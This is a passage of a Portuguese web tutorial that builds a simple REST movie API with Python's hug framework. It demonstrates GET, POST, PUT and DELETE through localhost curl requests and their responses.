    &lt;span class=&quot;token string&quot;&gt;&apos;id&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;DED621D5-08F4-4D32-ADFA-84375BA415B9&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&apos;title&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;The Matrix&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&apos;description&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;A computer hacker learns from mysterious rebels about the true nature of his reality and his role in the war against its controllers.&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;A &lt;em&gt;URI&lt;/em&gt; por si só não significa nada. Precisamos de métodos para acessá-la (e manipulá-la), e o protocolo &lt;em&gt;HTTP&lt;/em&gt;
possui alguns verbos que podem executar essas operações para nós.&lt;/p&gt;
&lt;h3&gt;Listagem e detalhes&lt;/h3&gt;
&lt;p&gt;O &lt;em&gt;GET&lt;/em&gt; é sem dúvida o mais famoso deles. É através dele que somos capazes de &quot;pegar&quot; os recursos da &lt;em&gt;web&lt;/em&gt;, incluindo
páginas na Internet como essa que você está lendo. Com esse verbo, podemos listar e visualizar mais detalhes de um
determinado recurso na &lt;em&gt;web&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Vamos começar retornando a listagem de filmes:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# api.py&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; hug

&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;

&lt;span class=&quot;token decorator annotation punctuation&quot;&gt;@hug&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;movies&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&apos;objects&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; MOVIES&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Para executar a &lt;em&gt;API&lt;/em&gt; no seu ambiente local, utilize o seguinte comando:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ hug -f api.py&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Agora, ao acessar a &lt;em&gt;URI&lt;/em&gt; &lt;code class=&quot;language-text&quot;&gt;http://localhost:8000/movies/&lt;/code&gt;, obtemos a seguinte resposta:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;json&quot;&gt;&lt;pre class=&quot;language-json&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;objects&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;token property&quot;&gt;&quot;description&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;A computer hacker learns from mysterious rebels about the true nature of his reality and his role in the war against its controllers.&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token property&quot;&gt;&quot;title&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;The Matrix&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token property&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;DED621D5-08F4-4D32-ADFA-84375BA415B9&quot;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Vamos ilustrar como seria o acesso via &lt;em&gt;GET&lt;/em&gt; para ver detalhes do recurso &quot;The Matrix&quot;. Primeiro,
criamos o método na aplicação que é responsável por dar detalhes de um filme:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; hug
&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; falcon &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; HTTP_404

&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;

&lt;span class=&quot;token decorator annotation punctuation&quot;&gt;@hug&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;/movies/{movie_id}/&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;movie&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;movie_id&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; response&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  movie_ids &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;lambda&lt;/span&gt; x&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; x&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;id&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; MOVIES&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; movie_id &lt;span class=&quot;token keyword&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; movie_ids&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    response&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;status &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; HTTP_404
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;Not found&apos;&lt;/span&gt;

  movie &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; MOVIES&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;movie_ids&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;index&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;movie_id&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Seguindo uma boa prática, visualizar detalhes de um determinado recurso deveria ter um endereço
composto pelo seu nome (no caso, &lt;code class=&quot;language-text&quot;&gt;movies&lt;/code&gt;), mais o seu identificador (no caso, &lt;code class=&quot;language-text&quot;&gt;DED621D5-08F4-4D32-ADFA-84375BA415B9&lt;/code&gt;):&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ curl -i http://localhost:8000/movies/DED621D5-08F4-4D32-ADFA-84375BA415B9/

HTTP/1.0 200 OK
Date: Fri, 13 May 2016 00:58:57 GMT
Server: WSGIServer/0.2 CPython/3.4.4
content-type: application/json
content-length: 221

{&quot;description&quot;: &quot;A computer hacker learns from mysterious rebels about the true nature of his reality and his role in the war against its controllers.&quot;, &quot;title&quot;: &quot;The Matrix&quot;, &quot;id&quot;: &quot;DED621D5-08F4-4D32-ADFA-84375BA415B9&quot;}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;Adicionando&lt;/h3&gt;
&lt;p&gt;Outro verbo bem conhecido do protocolo é o &lt;em&gt;POST&lt;/em&gt;. Quem aqui nunca submeteu um formulário &lt;em&gt;web&lt;/em&gt;?&lt;/p&gt;
&lt;p&gt;O princípio desse método é o envio de dados, do cliente para o servidor. Vamos aproveitar dessa sua
natureza para adicionar o filme &quot;Swordish&quot; à nossa &lt;em&gt;API&lt;/em&gt;. Para isso, precisamos alterar nossa função &lt;code class=&quot;language-text&quot;&gt;movies&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; hug
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; uuid
&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; falcon &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; HTTP_201&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; HTTP_404

&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;

&lt;span class=&quot;token decorator annotation punctuation&quot;&gt;@hug&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get_post&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;movies&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;request&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; response&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; request&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;method &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;GET&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;token string&quot;&gt;&apos;objects&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; MOVIES&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;# We are assuming it&apos;s a POST&lt;/span&gt;
    movie &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;token string&quot;&gt;&apos;uuid&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;uuid&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;uuid4&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token string&quot;&gt;&apos;title&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; request&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get_param&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;title&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token string&quot;&gt;&apos;description&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; request&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get_param&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;description&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    MOVIES&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;append&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;movie&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    response&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;status &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; HTTP_201
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; movie

&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Como é possível reparar no código acima, pretendemos adicionar um filme e o destino da nossa requisição
será o &lt;code class=&quot;language-text&quot;&gt;/movies/&lt;/code&gt;. Desse modo, o &lt;em&gt;GET&lt;/em&gt; lista e o &lt;em&gt;POST&lt;/em&gt; adiciona novos filmes:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ curl -i -XPOST -d &quot;title=Swordfish&amp;amp;description=Some hackish description...&quot; http://localhost:8000/movies

HTTP/1.0 201 Created
Date: Fri, 13 May 2016 01:51:43 GMT
Server: WSGIServer/0.2 CPython/3.4.4
content-type: application/json
content-length: 116

{&quot;title&quot;: &quot;Swordfish&quot;, &quot;uuid&quot;: &quot;a96e7212-6a29-478a-a24e-07720a286944&quot;, &quot;description&quot;: &quot;Some hackish description...&quot;}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Agora temos dois filmes cadastrados na nossa API:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;json&quot;&gt;&lt;pre class=&quot;language-json&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;objects&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;token property&quot;&gt;&quot;description&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;A computer hacker learns from mysterious rebels about the true nature of his reality and his role in the war against its controllers.&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token property&quot;&gt;&quot;title&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;The Matrix&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token property&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;DED621D5-08F4-4D32-ADFA-84375BA415B9&quot;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;token property&quot;&gt;&quot;description&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Some hackish description...&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token property&quot;&gt;&quot;title&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Swordfish&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token property&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;a96e7212-6a29-478a-a24e-07720a286944&quot;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;Atualizando e removendo&lt;/h3&gt;
&lt;p&gt;Uma vez que &lt;em&gt;POST&lt;/em&gt; e &lt;em&gt;GET&lt;/em&gt; acontecem no &lt;em&gt;endpoint&lt;/em&gt; responsável por &quot;listar&quot; os nossos filmes,
é natural assumirmos que o &lt;em&gt;PUT&lt;/em&gt; e &lt;em&gt;DELETE&lt;/em&gt; acontecerão no &lt;em&gt;endpoint&lt;/em&gt; responsável por
&quot;detalhar&quot; determinado filme.&lt;/p&gt;
&lt;p&gt;O &lt;em&gt;PUT&lt;/em&gt; é o método &lt;em&gt;HTTP&lt;/em&gt; responsável por atualizar um determinado recurso. Assim como o &lt;em&gt;POST&lt;/em&gt;,
ele permite a passagem de parâmetros que podem ser interpretados como &quot;campos&quot;.&lt;/p&gt;
&lt;p&gt;Já o &lt;em&gt;DELETE&lt;/em&gt;, como o nome sugere, é o método padrão quando insinuamos a remoção de um determinado
recurso à nossa &lt;em&gt;API&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Na prática, para suportar esses dois verbos, nossa função &lt;code class=&quot;language-text&quot;&gt;movie&lt;/code&gt; ficará assim:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token decorator annotation punctuation&quot;&gt;@hug&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;http&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;/movies/{movie_id}/&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; accept&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;get&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;put&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;delete&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;movie&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;movie_id&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; request&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; response&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  movie_ids &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;lambda&lt;/span&gt; x&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; x&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;id&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; MOVIES&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; movie_id &lt;span class=&quot;token keyword&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; movie_ids&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    response&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;status &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; HTTP_404
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;Not found&apos;&lt;/span&gt;

  movie &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; MOVIES&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;movie_ids&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;index&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;movie_id&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; request&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;method &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;DELETE&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    MOVIES&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;remove&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;movie&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;Deleted&apos;&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; request&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;method &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;PUT&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    movie&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;title&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; request&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get_param&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;title&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    movie&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;description&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; request&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get_param&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;description&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; movie

  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; movie&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Agora podemos atualizar o filme &quot;Swordfish&quot;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;curl -i -XPUT -d &quot;title=A Senha&amp;amp;description=Um filme sobre Hackers&quot; http://localhost:8000/movies/a96e7212-6a29-478a-a24e-07720a286944/

HTTP/1.0 200 OK
Date: Fri, 13 May 2016 02:25:42 GMT
Server: WSGIServer/0.2 CPython/3.4.4
content-type: application/json
content-length: 107

{&quot;title&quot;: &quot;A Senha&quot;, &quot;id&quot;: &quot;a96e7212-6a29-478a-a24e-07720a286944&quot;, &quot;description&quot;: &quot;Um filme sobre Hackers&quot;}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;E até mesmo apagá-lo:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;curl -i -XDELETE http://localhost:8000/movies/a96e7212-6a29-478a-a24e-07720a286944/

HTTP/1.0 200 OK
Date: Fri, 13 May 2016 02:26:52 GMT
Server: WSGIServer/0.2 CPython/3.4.4
content-type: application/json
content-length: 9

&quot;Deleted&quot;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;E com isso fechamos as operações de &lt;em&gt;CRUD&lt;/em&gt; através dos métodos &lt;em&gt;POST&lt;/em&gt;, &lt;em&gt;GET&lt;/em&gt;, &lt;em&gt;PUT&lt;/em&gt; e &lt;em&gt;DELETE&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;Ser JSON, ou não ser...&lt;/h2&gt;
&lt;p&gt;Uma das premissas do &lt;em&gt;REST&lt;/em&gt; é que um recurso possa ser apresentado de diferentes maneiras.
Por exemplo, o nosso filme se acessado pelo navegador, poderia ser representado através de
um &lt;em&gt;HTML&lt;/em&gt;. Por outro lado, se ele fosse acessado por uma requisição &lt;em&gt;Ajax&lt;/em&gt;, ele poderia
ser representado por um &lt;em&gt;JSON&lt;/em&gt;.&lt;/p&gt;
